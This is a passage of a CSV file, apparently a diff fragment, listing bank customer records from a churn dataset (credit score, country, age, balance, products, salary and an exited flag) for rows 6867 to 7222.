+6867,15664506,Goodwin,675,Spain,Male,32,8,197436.82,1,1,1,52710.7,0 +6868,15575619,Teakle,656,Spain,Female,32,1,104254.27,1,1,1,17034.37,0 +6869,15587394,Thomson,462,France,Male,39,4,140133.08,2,0,0,131304.45,0 +6870,15654457,Cross,685,Spain,Female,30,2,0,3,1,1,172576.43,1 +6871,15762793,Jones,850,Germany,Female,36,0,136980.23,2,1,1,99019.65,0 +6872,15658067,Walker,636,Germany,Female,48,3,120568.41,1,1,0,190160.04,1 +6873,15642816,De Salis,850,France,Female,27,7,43658.33,2,1,1,3025.49,0 +6874,15693088,Oliver,628,France,Female,37,9,0,2,1,1,34689.77,0 +6875,15793883,Lo Duca,798,France,Male,28,3,0,2,1,0,2305.27,0 +6876,15665283,Brookes,610,France,Female,57,7,72092.95,4,0,1,113228.82,1 +6877,15680421,Challis,591,France,Female,42,10,0,2,0,0,171099.22,0 +6878,15695148,Ibeabuchi,614,Spain,Female,37,9,0,2,1,1,62023.1,0 +6879,15636592,Iroawuchi,651,France,Male,35,0,181821.96,2,0,1,36923.67,1 +6880,15772618,Tyler,665,France,Male,25,7,90920.75,1,0,1,112256.57,0 +6881,15724453,Fan,570,France,Male,23,2,0,1,0,0,198830.98,0 +6882,15565878,Bates,631,Spain,Male,29,3,0,2,1,1,197963.46,0 +6883,15609160,Marsden,586,France,Male,32,1,0,2,0,0,31635.99,0 +6884,15678460,Dodgshun,691,France,Male,30,9,0,1,1,0,49594.02,0 +6885,15662571,Maclean,639,France,Male,35,8,0,2,1,0,170483.9,0 +6886,15606849,Blackall,698,France,Female,27,1,94920.71,1,1,1,40339.9,0 +6887,15670738,Mazzanti,733,Germany,Male,45,2,113939.36,2,1,0,3218.71,0 +6888,15662641,Amadi,850,France,Male,19,8,0,1,1,1,68569.89,0 +6889,15727539,Schoenheimer,618,France,Female,31,4,0,2,1,0,29176.04,0 +6890,15651020,Fiorentino,473,France,Female,25,6,110666.42,2,0,0,46758.42,0 +6891,15673877,Murray,490,France,Male,39,1,0,3,1,0,171060.01,1 +6892,15760865,Fan,754,Germany,Female,48,7,141819.02,1,1,0,93550.53,1 +6893,15705009,Cartwright,649,France,Female,56,8,156974.26,1,1,0,89405.26,1 +6894,15657540,Cremonesi,578,France,Male,50,5,151215.34,2,1,0,169804.4,0 +6895,15707441,White,690,Spain,Male,26,8,116318.23,1,1,1,83253.05,0 +6896,15694765,Sabbatini,610,Germany,Male,49,6,113882.33,1,1,0,195813.81,1 +6897,15649086,Patterson,596,France,Male,42,7,0,2,1,1,121568.37,0 +6898,15650488,Bromley,492,France,Female,48,6,127253.98,1,1,1,92144.09,1 +6899,15760924,Doherty,575,Spain,Male,41,2,100062.39,1,0,0,126307.25,0 +6900,15700263,Ifeatu,569,France,Male,66,2,0,1,1,0,130784.2,1 +6901,15806922,Bergamaschi,674,Spain,Female,41,4,126605.14,1,1,1,166694.93,0 +6902,15637522,Shubina,507,France,Female,31,0,106942.08,1,0,1,44001.11,0 +6903,15636548,Lung,457,Spain,Male,44,7,0,2,0,0,185992.36,0 +6904,15566891,Kinder,584,Germany,Female,41,3,88594.93,1,1,0,178997.89,0 +6905,15627185,Terry,744,Germany,Male,29,6,123737.04,2,1,0,141558.04,0 +6906,15754012,Shepherdson,687,France,Female,35,1,110752.15,2,1,1,47921.22,0 +6907,15627514,Short,688,Spain,Female,46,3,0,2,0,1,104902.68,0 +6908,15661433,Zetticci,519,France,Male,34,5,0,1,1,0,68479.6,0 +6909,15610653,Belov,733,Spain,Female,38,5,0,2,1,1,1271.51,0 +6910,15667002,Knight,666,Spain,Male,43,5,0,2,1,0,29346.1,0 +6911,15709199,Burson,511,Spain,Female,40,1,0,1,1,1,184118.73,0 +6912,15710087,Nicholls,705,Germany,Female,54,3,125889.3,3,1,0,96013.5,1 +6913,15679884,Hs?eh,544,France,Male,48,10,78314.63,3,1,1,103713.93,1 +6914,15784180,Ku,564,France,Female,36,7,206329.65,1,1,1,46632.87,1 +6915,15808849,T'ien,702,France,Male,40,7,145536.9,1,0,1,135334.24,0 +6916,15751549,H?,658,Germany,Male,31,2,77082.65,2,0,0,13482.28,0 +6917,15588235,Vasilieva,654,France,Female,24,8,145081.73,1,1,1,130075.07,0 +6918,15640418,Omeokachie,649,Germany,Female,41,4,115897.73,1,1,0,143544.48,0 +6919,15721116,Napolitano,597,Spain,Male,24,0,108058.07,2,1,1,187826.11,0 +6920,15599084,Hopwood,782,France,Male,33,7,191523.09,1,1,1,167058.75,0 +6921,15773394,Bergamaschi,644,France,Male,38,3,0,2,1,1,79928.41,0 +6922,15625713,Lindeman,679,Spain,Female,39,7,91187.9,1,0,1,6075.36,0 +6923,15766417,McKinley,678,France,Female,60,2,0,2,1,1,43821.56,0 +6924,15622578,Sergeyev,806,France,Male,34,5,113958.55,1,0,1,32125.98,0 +6925,15799924,Sanchez,668,Spain,Male,43,1,147167.25,1,0,0,141679.73,0 +6926,15618363,Muomelu,659,Germany,Male,29,9,82916.48,1,1,1,84133.48,0 +6927,15637138,Murray,660,France,Male,34,1,0,2,1,0,9692.58,0 +6928,15781665,Ibekwe,601,France,Female,37,5,0,1,0,0,20708.6,0 +6929,15804853,McVey,781,France,Female,48,0,57098.96,1,1,0,85644.06,1 +6930,15651627,White,628,Germany,Male,39,1,115341.19,1,1,1,107674.3,1 +6931,15680685,Patterson,751,France,Male,30,3,165257.2,1,0,0,134822.05,0 +6932,15808930,Mai,531,France,Female,37,1,0,1,1,0,4606.97,0 +6933,15570970,Han,647,France,Female,42,9,0,2,1,1,51362.82,0 +6934,15679961,Davidson,708,Spain,Male,46,7,68799.72,1,1,1,39704.14,0 +6935,15705458,Parkin,550,Spain,Male,39,2,116120.19,2,1,1,195638.13,0 +6936,15750396,McKissick,670,France,Male,33,1,0,2,1,1,86413.11,0 +6937,15679928,Horsfall,592,France,Female,31,2,84102.11,2,0,1,116385.24,0 +6938,15711181,Clapp,589,France,Female,50,4,0,2,0,1,182076.97,0 +6939,15698324,Azikiwe,725,France,Female,33,4,0,1,1,1,67879.8,0 +6940,15807433,Zubarev,570,France,Female,43,9,0,2,0,1,11417.26,0 +6941,15636590,Pisano,575,France,Male,46,1,0,2,1,1,65998.26,0 +6942,15628950,Coates,501,Germany,Male,25,6,104013.79,1,1,0,114774.35,0 +6943,15617206,Trentino,431,Germany,Male,42,8,120822.86,2,1,0,126153.24,0 +6944,15603741,MacDonnell,719,Spain,Male,40,4,128389.12,1,1,1,176091.31,0 +6945,15742607,Ermakov,850,Germany,Male,36,7,102800.72,1,1,1,87352.43,0 +6946,15747821,K?,554,Germany,Female,31,6,135470.9,1,1,0,107074.81,0 +6947,15612043,Hammonds,418,France,Male,36,7,90145.04,1,1,1,69157.93,0 +6948,15809558,Peppin,715,Spain,Male,31,7,0,1,1,1,149970.59,0 +6949,15803750,Ball,750,Spain,Female,33,3,161801.47,1,0,1,153288.97,1 +6950,15704681,Yeh,766,Germany,Male,37,2,99660.13,2,0,1,147700.78,0 +6951,15667392,L?,652,Spain,Female,38,6,123081.84,2,1,1,188657.97,0 +6952,15738889,Shih,658,France,Male,42,8,102870.93,1,0,1,103764.55,1 +6953,15598838,Greco,659,France,Female,37,1,151105.68,1,1,1,140934.57,0 +6954,15579109,Napolitano,574,Germany,Male,35,5,163856.76,1,1,1,15118.2,0 +6955,15799042,Zaytseva,611,France,Male,38,7,0,1,1,1,63202,0 +6956,15697042,Genovesi,738,Spain,Male,35,8,127290.61,1,1,0,16081.62,0 +6957,15696605,Angelo,571,France,Male,49,4,180614.04,1,0,0,523,0 +6958,15802274,Waters,686,France,Female,44,7,55053.62,1,1,0,181757.19,0 +6959,15596808,Maclean,679,Spain,Male,33,4,96110.22,1,1,0,1173.23,0 +6960,15705403,Seleznyova,617,Spain,Female,46,3,106521.49,1,0,1,86587.37,0 +6961,15732903,Fontenot,673,France,Male,39,7,82255.51,2,1,0,109545.56,0 +6962,15581968,Reid,745,France,Female,33,1,0,2,1,1,174431.01,0 +6963,15683892,Fraser,677,Germany,Female,26,3,102395.79,1,1,0,119368.99,0 +6964,15595447,Tuan,613,Spain,Male,39,8,118201.41,1,1,0,23315.59,0 +6965,15569249,Howarth,576,France,Female,55,6,44582.07,3,0,1,67539.85,1 +6966,15656188,Davis,584,Spain,Female,30,5,0,2,1,1,185201.58,0 +6967,15689661,Gorbunov,663,France,Male,22,6,0,2,0,1,131827.15,0 +6968,15644934,Gentry,466,France,Male,26,9,105522.06,1,1,0,10842.46,0 +6969,15721793,Chiu,510,Germany,Female,50,7,123936.54,1,1,1,23768.01,0 +6970,15687413,Sunderland,619,Spain,Female,38,6,0,2,1,1,117616.29,0 +6971,15761286,Fan,696,Germany,Female,66,7,119499.42,2,1,1,174027.3,0 +6972,15658240,Parry,554,France,Female,44,9,135814.7,2,0,0,115091.38,0 +6973,15706232,Niu,595,France,Male,52,9,0,1,1,1,106340.66,1 +6974,15583394,Zuyev,659,Germany,Male,39,8,106259.63,2,1,1,198103.32,0 +6975,15715643,Ijendu,662,France,Male,44,8,0,2,1,1,175314.87,0 +6976,15644856,Bird,556,Spain,Male,38,2,115463.16,1,1,0,150679.65,0 +6977,15785488,Palmer,701,Spain,Female,39,9,0,2,1,1,110043.88,0 +6978,15711571,Y?,587,Spain,Male,42,5,120233.83,1,1,0,194890.33,0 +6979,15778604,Nicholson,571,France,Female,47,7,0,2,0,0,112366.98,0 +6980,15751180,Adams,539,France,Female,40,7,81132.21,1,1,0,167289.82,0 +6981,15748360,Cocci,644,Germany,Female,34,10,122196.99,2,1,1,182099.71,0 +6982,15770039,Kuo,572,Germany,Male,39,4,112290.22,1,1,0,49373.97,1 +6983,15685096,Trevisani,753,France,Female,50,4,0,2,1,1,861.4,0 +6984,15669501,Kuo,706,France,Male,35,5,0,2,1,1,81718.37,0 +6985,15622631,H?,588,France,Male,44,8,154409.74,1,1,0,49324.03,1 +6986,15586699,Thomson,825,France,Male,32,9,0,2,0,0,9751.03,0 +6987,15702377,Knorr,627,Spain,Male,48,1,132759.8,1,1,0,78899.22,0 +6988,15577170,Manfrin,532,France,Male,60,5,76705.87,2,0,1,13889.73,0 +6989,15769451,Hayes,764,France,Female,44,1,0,2,1,1,11467.38,0 +6990,15811877,Shao,700,France,Female,36,4,0,2,1,0,130789.15,0 +6991,15648725,Sinclair,660,France,Male,41,3,0,2,1,1,108665.89,0 +6992,15752801,Bradshaw,518,Germany,Male,29,9,125961.74,2,1,0,160303.08,1 +6993,15808175,Castiglione,557,France,Female,39,7,49572.73,1,1,0,115287.99,1 +6994,15681342,Hurst,639,France,Female,35,1,103015.12,2,1,1,139094.12,0 +6995,15589210,Adamson,557,France,Female,24,4,0,1,0,0,20515.72,0 +6996,15696826,James,633,France,Female,32,1,104001.38,1,0,1,36642.65,0 +6997,15614962,Pavlova,623,Spain,Female,50,2,87116.71,1,1,1,104382.11,0 +6998,15689061,Davey,611,France,Male,68,5,82547.11,2,1,1,146448.01,0 +6999,15640074,Barrett,666,Spain,Female,47,5,0,1,0,0,166650.9,1 +7000,15776156,Dolgorukova,521,France,Male,27,4,121325.84,1,1,1,164223.7,1 +7001,15739548,Johnson,775,France,Male,28,9,111167.7,1,1,0,149331.01,0 +7002,15662854,Manna,681,Germany,Male,48,5,139714.4,2,0,0,73066.72,0 +7003,15687688,Hou,564,Germany,Female,32,10,139875.2,2,1,0,15378.23,0 +7004,15715750,Okeke,646,Germany,Female,44,2,113063.83,1,0,0,53072.49,1 +7005,15571121,Kodilinyechukwu,670,France,Female,50,8,138340.06,1,0,1,3159.15,0 +7006,15726466,Esposito,751,France,Male,43,1,114974.24,1,1,0,125920.54,0 +7007,15660390,Boyle,544,France,Female,33,6,0,2,1,1,124113.04,0 +7008,15663942,Hsiung,639,France,Female,38,5,0,2,0,0,93716.38,0 +7009,15638610,Kennedy,635,Germany,Female,65,5,117325.54,1,1,0,155799.86,1 +7010,15644446,Norton,672,France,Female,28,6,0,1,0,1,8814.69,0 +7011,15585892,Zakharov,639,France,Female,35,8,0,1,0,0,164453.98,0 +7012,15609356,Chimaraoke,697,France,Female,25,1,0,2,0,0,87803.32,0 +7013,15803378,Small,850,Spain,Male,44,8,0,2,1,1,183617.32,0 +7014,15599440,McGregor,748,France,Female,34,8,0,2,1,0,53584.03,0 +7015,15692408,Brown,463,Spain,Female,35,2,0,2,1,1,1950.93,0 +7016,15683168,Frederickson,572,France,Female,30,6,0,1,0,1,175025.27,0 +7017,15790254,Wood,741,Spain,Male,50,1,78737.61,1,1,1,13018.96,0 +7018,15767729,Smith,646,Spain,Male,25,5,182876.88,2,1,1,42537.59,1 +7019,15768600,Harris,805,Germany,Male,50,9,130023.38,1,1,0,62989.82,1 +7020,15699839,Hall,637,France,Male,36,2,152606.82,1,1,1,71692.8,0 +7021,15786237,Pickworth,651,France,Male,28,7,0,2,1,0,823.96,0 +7022,15694530,Porter,672,France,Male,28,4,167268.98,1,1,1,169469.3,0 +7023,15796813,Storey,493,France,Male,54,3,167831.88,2,1,0,150159.95,1 +7024,15605791,Li,524,Germany,Male,29,9,144287.6,2,1,0,32063.3,0 +7025,15714087,McGill,624,Germany,Female,45,5,151855.33,1,1,0,68794.15,0 +7026,15711446,Sinclair,569,Spain,Female,51,3,0,3,1,0,75084.96,1 +7027,15588123,Horton,677,France,Female,27,2,0,2,0,1,114685.92,0 +7028,15748552,Sal,464,Germany,Male,37,4,155994.15,1,0,0,143665.44,0 +7029,15618410,Murray,718,Germany,Male,26,7,147527.03,1,0,0,51099.56,0 +7030,15672432,Giles,594,France,Female,53,4,0,1,1,0,5408.74,1 +7031,15610042,Brown,574,France,Male,33,8,100267.03,1,1,0,103006.27,0 +7032,15580914,Okechukwu,478,Spain,Male,48,0,83287.05,2,0,1,44147.95,1 +7033,15583680,White,615,Spain,Male,41,4,0,1,0,1,149278.96,0 +7034,15813718,Kirillova,651,Spain,Male,45,4,0,2,0,0,193009.21,0 +7035,15767264,Lawson,465,Germany,Male,53,1,117438.17,1,0,0,74898.8,1 +7036,15686461,Sarratt,558,France,Female,56,7,121235.05,2,1,1,116253.1,0 +7037,15678882,Hay,540,Germany,Male,37,3,129965.18,1,0,0,19374.08,0 +7038,15789611,Lin,568,Germany,Male,46,8,150836.92,1,0,0,64516.8,1 +7039,15668679,Ozerova,630,France,Male,31,0,0,2,1,1,34475.14,0 +7040,15631685,Lambert,523,Germany,Male,60,1,163894.35,1,0,1,57061.71,0 +7041,15655658,Bulgakov,678,France,Female,48,2,0,2,1,1,32301.88,0 +7042,15753591,He,438,France,Male,38,2,0,2,1,0,136859.55,0 +7043,15617348,Uchechukwu,544,France,Male,44,1,0,2,0,0,69244.24,0 +7044,15704581,Robertson,595,Germany,Male,34,2,87967.42,2,0,1,156309.52,0 +7045,15738487,Leworthy,678,France,Male,26,3,0,2,1,0,4989.33,0 +7046,15648069,Onyemachukwu,850,France,Female,36,6,0,2,1,1,190194.95,0 +7047,15737627,Rivero,589,Germany,Female,20,2,121093.29,2,1,0,3529.72,0 +7048,15731586,Lai,785,Spain,Female,31,2,121691.54,2,0,0,81778.72,0 +7049,15757467,Feng,563,Spain,Male,57,6,0,2,1,1,39297.48,0 +7050,15597709,Hornung,602,France,Female,39,6,154121.32,2,1,0,176614.86,1 +7051,15720529,Schiavone,591,France,Male,29,6,0,2,1,1,108684.65,0 +7052,15596797,Barnet,643,Spain,Male,43,1,0,2,1,1,145764.4,0 +7053,15681755,Dennys,605,France,Female,32,5,0,2,1,1,42135.28,0 +7054,15815271,Ritchie,755,Germany,Male,43,6,165048.5,3,1,0,16929.41,1 +7055,15682860,Lo,769,Spain,Male,38,6,0,2,0,0,104393.78,0 +7056,15621546,Yuriev,620,France,Female,33,9,127638.35,1,1,1,192717.57,0 +7057,15705918,Howarth,725,France,Male,31,8,0,2,1,1,59650.42,0 +7058,15684512,Gibson,818,Germany,Female,72,8,135290.42,2,1,1,63729.72,0 +7059,15671769,Zikoranachidimma,624,France,Female,71,4,170252.05,3,1,1,73679.59,1 +7060,15642934,Mason,669,Germany,Female,35,4,108269.2,2,1,0,174969.92,0 +7061,15594305,Rizzo,712,France,Female,32,1,0,2,1,0,1703.58,0 +7062,15789201,Thomson,603,Germany,Female,35,9,145623.36,1,1,0,163181.62,0 +7063,15706762,Ignatyev,597,France,Female,41,4,145809.53,2,1,1,52319.26,0 +7064,15766183,Ferguson,580,Germany,Male,76,2,130334.84,2,1,1,51672.08,0 +7065,15777994,Woods,718,France,Female,39,3,0,2,1,1,145355.11,0 +7066,15568162,Sung,527,Spain,Male,53,8,0,1,1,1,51711.57,0 +7067,15680643,Lo,729,Spain,Female,42,1,0,2,1,1,149535.97,0 +7068,15761854,Burn,746,France,Female,24,4,0,1,0,1,94105,0 +7069,15730793,Russell,699,Germany,Female,54,3,111009.32,1,1,1,155905.79,1 +7070,15692137,Jen,759,France,Female,46,2,0,1,1,1,138380.11,0 +7071,15608595,Lo Duca,748,France,Female,39,3,157371.54,1,0,1,97734.3,0 +7072,15709459,Oluchi,698,Spain,Female,63,5,0,1,1,1,173576.71,0 +7073,15775750,Yao,686,France,Male,37,9,134560.62,1,1,0,27596.39,0 +7074,15585855,Gould,679,France,Male,40,1,0,1,1,1,16897.19,0 +7075,15752139,Salter,682,Germany,Male,36,5,72373.62,2,1,0,36895.99,0 +7076,15768295,Warner,778,France,Female,34,7,109564.1,1,0,1,113046.81,0 +7077,15766906,Salier,742,France,Female,25,4,132116.13,2,1,0,129933.5,0 +7078,15725776,Lazar,649,Germany,Male,24,7,101195.23,1,0,0,133091.32,0 +7079,15682576,Onyenachiya,763,France,Male,67,1,149436.73,2,0,1,106282.74,0 +7080,15704081,Findlay,595,Germany,Male,30,9,130682.11,2,1,1,57862.88,0 +7081,15719940,Gibbons,628,Germany,Female,51,10,115280.49,2,0,0,12628.61,1 +7082,15672894,McCawley,625,France,Female,36,8,129944.39,2,0,0,198914.8,0 +7083,15667451,Taylor,733,France,Male,36,5,0,2,1,1,109127.54,0 +7084,15636767,Yang,665,Spain,Female,32,10,0,1,1,1,22487.45,0 +7085,15571415,Okwudiliolisa,805,Germany,Male,56,6,151802.29,1,1,0,46791.09,1 +7086,15575605,Napolitano,725,France,Male,38,6,0,2,1,1,158697.28,0 +7087,15649160,Vavilov,554,France,Female,38,3,138731.95,1,1,1,194138.36,0 +7088,15615832,Teague,675,Spain,Female,35,8,155621.08,1,0,1,35177.31,0 +7089,15600975,Chiemenam,556,France,Female,54,4,150005.38,1,1,0,157015.5,1 +7090,15690772,Hughes,635,Spain,Female,48,2,0,2,1,1,136551.25,0 +7091,15565714,Cattaneo,601,France,Male,47,1,64430.06,2,0,1,96517.97,0 +7092,15763108,Davis,600,Germany,Male,53,7,106261.63,1,1,0,93629.66,1 +7093,15723884,Nekrasova,758,Spain,Male,40,3,0,2,0,0,96097.65,0 +7094,15644453,Loggia,606,Germany,Female,41,4,132670.53,1,1,0,156476.36,1 +7095,15655464,Combes,640,France,Female,67,3,0,1,0,1,42964.63,0 +7096,15783883,Onwuka,753,Germany,Female,38,1,117314.92,1,1,0,122021.33,1 +7097,15787693,Kharlamov,559,Spain,Male,38,3,145874.35,1,1,0,56311.39,1 +7098,15664793,Scott,754,Spain,Female,50,7,146777.44,2,0,1,150685.52,0 +7099,15642391,Lettiere,621,Germany,Male,51,4,109978.83,1,0,0,177740.58,1 +7100,15756538,Osonduagwuike,654,France,Female,37,5,0,1,0,1,71492.28,0 +7101,15668830,Wan,650,Spain,Male,24,8,108881.73,1,1,0,104492.83,0 +7102,15796569,Donaldson,831,Spain,Female,44,10,0,1,0,1,47729.33,0 +7103,15677112,Chukwufumnanya,519,France,Male,39,2,112957.26,2,1,0,97593.16,0 +7104,15815040,Ma,552,Germany,Female,42,8,103362.14,1,0,1,186869.58,1 +7105,15590434,Alexander,577,Spain,Male,41,4,89015.61,1,0,1,135227.23,0 +7106,15597536,Nkemjika,576,Spain,Male,45,5,133618.01,1,0,0,135244.87,0 +7107,15723989,Carroll,646,France,Male,40,5,93680.43,2,1,1,179473.26,0 +7108,15767358,Obioma,711,Germany,Female,45,1,97486.15,2,1,0,50610.62,0 +7109,15594812,Campbell,806,Spain,Female,37,2,137794.18,2,0,1,75232.02,0 +7110,15688210,Sims,670,France,Female,39,8,101928.51,1,0,0,89205.54,0 +7111,15681509,McKay,679,Spain,Female,28,9,0,2,0,1,61761.77,0 +7112,15572390,Huang,850,Spain,Female,39,6,0,2,1,0,103921.43,0 +7113,15801441,Campbell,670,Germany,Female,35,2,79585.96,1,0,1,198802.9,0 +7114,15783859,Boni,733,France,Female,24,3,161884.99,1,1,1,9617.24,0 +7115,15575243,Gorbunova,764,France,Female,39,1,129068.54,2,1,1,187905.12,0 +7116,15773421,Genovese,673,France,Female,42,4,0,2,1,0,121440.8,0 +7117,15788776,Landor,588,Germany,Male,49,6,132623.76,3,1,0,36292.94,1 +7118,15765257,Meng,564,Spain,Male,31,5,121461.87,1,1,1,20432.09,1 +7119,15661412,Wardell,715,France,Male,32,8,175307.32,1,1,0,187051.23,0 +7120,15636478,Williams,621,France,Male,31,7,136658.61,1,1,1,148689.13,0 +7121,15603683,Ofodile,796,Spain,Female,23,3,146584.19,2,0,0,125445.8,0 +7122,15651868,Clark,672,France,Male,34,6,0,1,0,0,22736.06,0 +7123,15815443,Lo,527,Spain,Female,46,10,131414.76,1,1,0,54947.51,0 +7124,15682686,Chukwuemeka,722,France,Female,38,3,0,2,0,1,167984.72,0 +7125,15697460,Lai,596,Germany,Male,34,4,99441.21,2,0,1,4802.27,0 +7126,15748432,Arcuri,746,France,Female,32,4,0,2,1,1,72909.75,0 +7127,15698271,Graham,523,France,Female,26,4,0,2,1,0,185488.81,0 +7128,15808662,Krylov,624,France,Male,44,3,0,2,1,0,88407.51,0 +7129,15690372,Henry,553,Spain,Male,38,1,181110.13,2,1,0,184544.59,0 +7130,15781875,Jamieson,850,Spain,Male,33,3,100476.46,2,1,1,136539.13,0 +7131,15801473,Moore,599,Germany,Male,33,2,51949.95,2,1,0,85045.92,0 +7132,15704509,Tan,492,France,Male,35,8,121063.49,1,0,0,85421.48,0 +7133,15694666,Thornton,707,Spain,Male,48,8,88441.64,1,1,1,119903.2,1 +7134,15731166,Macleod,743,France,Female,30,1,127023.39,1,1,1,138780.89,0 +7135,15728523,Rizzo,522,France,Male,41,5,144147.68,1,1,1,14789.9,0 +7136,15788442,Chukwukadibia,681,Spain,Female,57,2,173306.13,1,0,1,131964.66,0 +7137,15689781,Ts'ai,826,France,Female,49,0,0,1,0,0,178709.98,1 +7138,15764226,Lu,630,Germany,Female,28,8,106425.75,1,1,1,20344.84,0 +7139,15809837,Kent,430,Germany,Female,66,6,135392.31,2,1,1,172852.06,1 +7140,15805212,Black,806,France,Female,67,1,0,2,0,1,103945.58,0 +7141,15716082,Chukwubuikem,703,Spain,Male,39,6,152685.4,1,0,0,183656.12,0 +7142,15643056,McMillan,755,Germany,Female,38,1,82083.52,1,0,1,10333.78,0 +7143,15654859,Ngozichukwuka,612,Spain,Female,63,2,131629.17,2,1,0,122109.58,1 +7144,15761158,Y?an,719,France,Female,54,7,0,2,1,1,125041.52,0 +7145,15577515,Sung,554,Germany,Female,55,0,108477.27,1,0,1,140003,1 +7146,15723827,Macartney,683,France,Male,30,4,114779.35,1,0,0,183171.47,0 +7147,15646594,Ali,749,France,Male,41,5,57568.94,1,1,1,61128.29,0 +7148,15712877,Morley,724,Spain,Male,36,1,0,2,1,0,52462.25,0 +7149,15598802,Martin,770,Spain,Male,30,8,0,2,0,1,50839.85,0 +7150,15699340,Okorie,680,France,Male,37,4,0,2,1,0,61240.87,0 +7151,15691150,Ku,699,France,Female,32,4,110559.46,1,1,1,127429.56,0 +7152,15608688,Andreyeva,442,France,Male,34,4,0,2,1,0,68343.08,0 +7153,15737998,Cheng,529,France,Male,46,8,0,1,0,0,126511.94,1 +7154,15735837,Hsia,574,Spain,Male,36,3,0,2,1,1,8559.66,0 +7155,15659100,Lane,605,France,Male,33,9,128152.82,1,0,0,147822.81,0 +7156,15609070,Findlay,515,Germany,Male,45,7,120961.5,3,1,1,39288.11,1 +7157,15650313,Okonkwo,632,Germany,Male,65,6,129472.33,1,1,1,85179.48,0 +7158,15627699,Pirogova,558,France,Male,32,10,105000.23,1,1,0,190019.61,0 +7159,15591010,McDonald,434,Germany,Male,55,8,109339.17,2,1,0,96405.88,1 +7160,15798895,Okonkwo,525,France,Female,59,6,55328.4,1,1,0,83342.73,1 +7161,15745375,Nnanna,640,Germany,Male,23,3,72012.76,1,1,0,161333.13,0 +7162,15775235,Ku,690,France,Female,36,6,110480.48,1,0,0,81292.33,0 +7163,15780088,Porter,607,Spain,Male,34,9,132439.99,1,1,0,177747.72,0 +7164,15649379,Somayina,850,France,Female,46,3,0,2,1,1,187980.21,0 +7165,15713983,Mao,780,Germany,Male,34,5,94108.54,2,1,0,177235.21,0 +7166,15709252,Fuller,616,Germany,Female,28,10,105173.99,1,0,1,29835.37,1 +7167,15699238,Craig,618,Spain,Female,40,8,0,2,1,0,80204.38,0 +7168,15732884,Trevisano,676,France,Male,29,7,131959.86,1,0,0,189268.81,0 +7169,15587297,Ruiz,507,France,Male,33,7,0,2,1,1,85411.01,0 +7170,15684722,Fraser,490,France,Male,34,5,122952.9,2,0,0,154360.97,0 +7171,15621244,Gallo,678,France,Male,36,0,107379.68,1,1,1,84460.18,0 +7172,15744273,Waterhouse,637,Germany,Male,30,6,122641.56,2,1,0,65618.01,0 +7173,15682540,Cremonesi,602,France,Female,33,8,0,2,1,1,112928.74,0 +7174,15636521,Feng,744,Spain,Female,30,1,124037.28,1,1,1,142210.94,0 +7175,15785339,H?,640,France,Female,50,9,117565.03,2,0,0,82559.77,0 +7176,15638983,Jara,684,France,Female,38,5,133189.4,1,0,0,127388.06,0 +7177,15654625,Wilson,495,Germany,Male,39,8,120252.02,2,1,1,10160.23,0 +7178,15697310,O'Callaghan,559,Germany,Female,28,3,152264.81,1,0,0,64242.31,0 +7179,15678210,Robson,684,France,Male,38,5,105069.98,2,1,1,198355.28,0 +7180,15575438,Pease,613,France,Male,42,7,115076.06,1,1,1,79323.61,0 +7181,15632789,Maclean,794,France,Male,30,8,0,2,1,1,24113.91,0 +7182,15621423,Lavrentyev,736,France,Female,42,7,117280.23,3,0,0,41921.06,1 +7183,15573520,Rhodes,692,Germany,Male,49,6,110540.43,2,0,1,107472.99,0 +7184,15740458,Murphy,703,Spain,Male,36,7,135095.47,1,1,0,143859.66,0 +7185,15762799,Alexander,720,Germany,Male,23,0,187861.18,2,1,1,104120.17,0 +7186,15686885,Nekrasov,777,Germany,Male,44,3,124655.59,2,0,1,79792.3,0 +7187,15565996,Arnold,653,France,Male,44,8,0,2,1,1,154639.72,0 +7188,15662152,Trevisan,552,France,Female,38,9,134105.01,1,0,0,57850.1,0 +7189,15711742,Mason,708,France,Female,34,4,0,1,1,1,62868.33,0 +7190,15701885,Tucker,647,France,Female,40,9,0,2,0,1,92357.21,0 +7191,15774262,Hobson,597,Germany,Male,52,8,83693.34,2,1,1,161083.53,0 +7192,15567839,Gordon,501,France,Male,42,9,114631.23,1,0,1,91429.74,0 +7193,15644400,Anderson,709,France,Male,44,9,128601.98,1,1,0,117031.2,0 +7194,15797246,Terry,621,Germany,Female,34,2,91258.52,2,1,0,44857.4,0 +7195,15778290,Lappin,799,France,Male,70,8,70416.75,1,1,1,36483.52,0 +7196,15708714,Santiago,675,France,Female,33,6,0,2,1,0,34045.61,0 +7197,15586183,Wallace,561,France,Female,35,5,0,2,1,0,59981.62,0 +7198,15761733,King,707,France,Female,42,10,0,2,1,1,152944.39,0 +7199,15773934,Fang,670,France,Male,33,6,88294.6,1,1,0,66979.06,0 +7200,15705343,May,649,Spain,Female,32,7,0,1,1,0,28797.32,0 +7201,15593959,Travis,524,France,Male,28,1,93577.3,1,1,1,51670.82,0 +7202,15664615,Nnachetam,689,Germany,Female,30,5,136650.89,1,1,1,41865.72,1 +7203,15671014,Zhdanova,573,Spain,Female,72,8,98765.84,1,1,1,96015.53,0 +7204,15657778,Jefferson,657,France,Male,33,1,84309.57,2,0,0,103914.4,0 +7205,15585192,Cremonesi,686,Spain,Male,39,10,136258.06,1,0,0,89199.51,0 +7206,15592914,Fang,683,France,Female,29,9,0,2,1,1,48849.89,0 +7207,15770995,Sinclair,753,Germany,Female,47,1,131160.85,1,1,0,197444.69,0 +7208,15570990,Begley,520,Spain,Female,30,4,145222.99,2,0,0,145160.96,0 +7209,15596165,Degtyarev,547,Germany,Male,25,4,98141.57,2,1,1,52309.8,0 +7210,15788131,Atkins,653,France,Male,47,6,0,1,1,0,50695.93,1 +7211,15800773,Ikenna,648,Spain,Female,28,9,102282.61,1,1,1,157891.11,0 +7212,15690153,Sun,639,France,Female,37,4,116121.84,2,0,1,181850.74,0 +7213,15638989,Lettiere,711,France,Female,25,5,190066.54,1,0,0,51345.39,1 +7214,15623210,Smith,484,Germany,Female,55,8,149349.58,3,0,0,137519.92,1 +7215,15652658,Finch,721,France,Male,36,1,155176.83,2,1,1,49653.37,0 +7216,15684440,Monaldo,548,Germany,Male,32,2,98986.28,1,1,1,55867.38,0 +7217,15730287,Ugonna,679,France,Male,41,8,147726.98,3,1,0,172749.4,1 +7218,15720353,Chiang,553,France,Male,41,1,0,2,1,0,90607.31,0 +7219,15767231,Sun,757,France,Male,36,7,144852.06,1,0,0,130861.95,0 +7220,15761554,Blackburn,581,France,Male,54,4,89299.81,1,0,0,5558.47,1 +7221,15706637,Chang,718,Spain,Male,40,9,0,2,0,0,121537.91,0 +7222,15690492,Palermo,625,France,Male,41,6,97663.16,2,1,0,57128.78,0 